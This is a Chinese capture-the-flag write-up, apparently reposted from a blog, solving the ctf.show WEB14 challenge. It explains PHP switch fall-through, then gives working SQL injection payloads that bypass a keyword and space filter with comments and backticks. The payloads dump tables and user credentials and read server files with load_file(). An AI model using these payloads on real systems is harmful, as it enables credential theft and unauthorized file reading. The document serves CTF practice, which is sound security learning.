CTF show WEB14

题目地址:https://ctf.show

对于这个题第一个坑要过的话必须得了解php的switch case语句。
在这里举个例子:


$number=1;
switch ($number)
{
    case "1":
        echo "one";
    case "2":
        echo "two";
    case "3"
        echo "three";
 }

输出结果为 one two three
如果在 echo “one”;后面加上break,输出结果为 one。这里应该就明白了吧。如果不加break会一直执行下去,直到结束或者遇到break。

在这个题目中有一条限制 sleep($c);就是我们输入的c是多少就会等待多少秒然后执行。所以我们想要输出$url就得找到一个小的case。我们可以看到下图中的c=3显然满足。case 3 后面没有break会接着执行下面的echo "$url"
在这里插入图片描述
输入?c=3成功显示 here_1s_your_f1ag.php,接下来访问该页面。是一个很明显的注入页面,但还不确定能否注入。在这里插入图片描述
我们先来看一下网站源代码有条提示
if(preg_match(’/information_schema.tables|information_schema.columns|linestring| |polygon/is’, $_GET[‘query’])){
die(’@A@’);
}
过滤的关键词有information_schema.tables,information_schema.columns,linestring,空格,polygon。在这里提供一种绕过的方法——反引号
反引号:它是为了区分MYSQL的保留字与普通字符而引入的符号。
例如information_schema.tables和information_schema.`tables`都可以使用。
网页的弹窗使得我们不容易观察,我们直接在源代码页面进行注入。
例如这样view-source:http://124.156.121.112:28051/here_1s_your_f1ag.php?query=1/**/order/**/by/**/1
当输入order by 1时才不显示错误,所以有一个回显位置。
接下来使用联合注入。
爆库名(web)

?query=-1/**/union/**/select/**/database()

爆表名(content)

?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()

爆字段名(id,username,password)

?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'

爆值

?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content

到这我们发现数据库中并没有我们想要的flag,但是有一条提示tell you a secret,secert has a secret… 所以很有可能flag在secret.php中,现在就有一个问题,我们怎么从数据库中查看文件内容呢,mysql提供了读取本地文件的函数load_file()
所以我们构造语句:

?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

得到如下内容

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}')

也就是如果/tmp/gtf1y中的内容为ctf.show则输出/real_flag_is_here中的值,所以我们直接将/real_flag_is_here读取即可得到flag。

?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
发布了12 篇原创文章 · 获赞 12 · 访问量 458

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/104373112